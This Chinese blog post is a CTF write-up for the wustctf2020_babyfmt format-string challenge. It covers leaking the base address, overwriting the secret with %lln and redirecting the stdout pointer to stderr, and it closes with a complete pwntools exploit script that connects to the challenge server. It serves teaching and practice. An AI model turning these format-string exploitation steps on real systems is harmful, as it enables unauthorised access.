Loading... <!-- wp:paragraph --> <p>这是一道格式化字符串的题目,绕的弯子有点多,我觉得是一道不错的题目。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":701,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130162211.png" alt="" class="wp-image-701"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>保护全开。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":702,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130162247.png" alt="" class="wp-image-702"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>程序本身来看,是很典型的让我们pwn的题。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":703,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130162354.png" alt="" class="wp-image-703"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>leak函数做到了泄露一个字节,但是只能泄露一次。</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":704,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130162457.png" alt="" class="wp-image-704"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>fmt_attack就是一个格式化字符串漏洞,但是有两点要注意:</p> <!-- /wp:paragraph --> <!-- wp:list {"ordered":true} --> <ol><li>虽然和leak一样用了一个变量让我们只能使用一次这个漏洞,但是我们借用这个格式化字符串漏洞可以容易地修改*a1为零实现多次利用。</li><li>这里IDA的反编译出现了错误,printf其实并没有对输出的字节数做限制(可以尝试输入像<code>%2000c</code>这样地格式化占位符,就会发现输出了一大片空格,显然是没有进行真正地限制的)。</li></ol> <!-- /wp:list --> <!-- wp:image {"align":"center","id":705,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130162917.png" alt="" class="wp-image-705"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>get_flag这个函数确实可以为我们输出flag,但是首先要输入一个与secret相等的字符串,而这是随机生成的,所以我们需要用格式化字符串完成覆写。然后关闭了标准输出,所以即使我们进入了这个if中,也无法输出,但是我们可以把bss段中存储stdout中存储的指针指向stderr。由于libc这个动态链接库中,stderr大概率就在stdout旁边,所以他们应该只有低四位会有区别。又由于ALSR只能在页级上实现随机化,所以低十二位都是固定的,那么我们可以先用一次leak泄露stderr的最低8位,然后再重连服务器,leak会变得8-16位,然后覆写掉stdout的指针的低16位。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>这样我们现在的难点就是泄露程序基地址了,</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":706,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130163649.png" alt="" class="wp-image-706"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>而ask_time函数中的v2存储了一个空指令的地址</p> <!-- /wp:paragraph --> <!-- wp:image {"align":"center","id":707,"sizeSlug":"large"} --> <div class="wp-block-image"><figure class="aligncenter size-large"><img src="https://www.cjovi.icu/usr/uploads/2020/11/QQ截图20201130163823.png" alt="" class="wp-image-707"style=""></figure></div> <!-- /wp:image --> <!-- wp:paragraph --> <p>那么我们在ask_time要输入的时候选择输入一个字母不改变v2的值,就获得了基地址。</p> <!-- /wp:paragraph --> <!-- wp:paragraph --> <p>于是有exp</p> <!-- /wp:paragraph --> <!-- wp:code --> <pre class="wp-block-code"><code>from pwn import * context(log_level = 'debug',arch = 'amd64',os = 'linux') #sh = process("./wustctf2020_babyfmt") sh = remote("node3.buuoj.cn","28174") secret_addr = 0x202060 sh.sendlineafter("tell me the time:",'a') sh.recvuntil("ok! time is ") stack_addr = int(sh.recvuntil(':',drop = True),base = 10) base_addr = int(sh.recvuntil(':',drop = True),base = 10) - 0xbd5 #got from gdb print hex(base_addr) stderr_addr = base_addr + 0x202040 stdout_addr = base_addr + 0x202020 sh.recvuntil(">>") for i in range(0,8): sh.sendlineafter(">>","2") payload = "%7$lln" + "%10$lln" + "aaa" + p64(base_addr + secret_addr + 8*i) sh.sendline(payload) sh.sendlineafter(">>","1") sh.sendline(p64(stderr_addr + 1)) tail = ord(sh.recv(1)) print (tail<<8) + 64 payload = ("%7$lln" + "%" + str((tail<<8)+0x40) + "c" + "%11$hn").ljust(24,"a") + p64(stdout_addr) sh.sendlineafter(">>","2") sh.sendline(payload) sleep(3) sh.sendlineafter(">>","3") sh.send('\x00'*0x40) sh.interactive() </code></pre> <!-- /wp:code --> <!-- wp:paragraph --> <p>最后我想强调一下,类似于<strong><span class="external-link"><a class="no-external-link" href="https://www.cjovi.icu/?p=527" target="_blank"><i data-feather="external-link"></i>BUU-wustctf2020_closed-WP</a></span></strong>这道题,都关闭了stdout,现在有的解决方法有</p> <!-- /wp:paragraph --> <!-- wp:list --> <ul><li>使用<code>exec 1>&0</code>将标准输出重定向到标准输入</li><li>劫持stdout的指针指向如stderr等可泄露的输出流。</li></ul> <!-- /wp:list --> 最后修改:2020 年 12 月 30 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧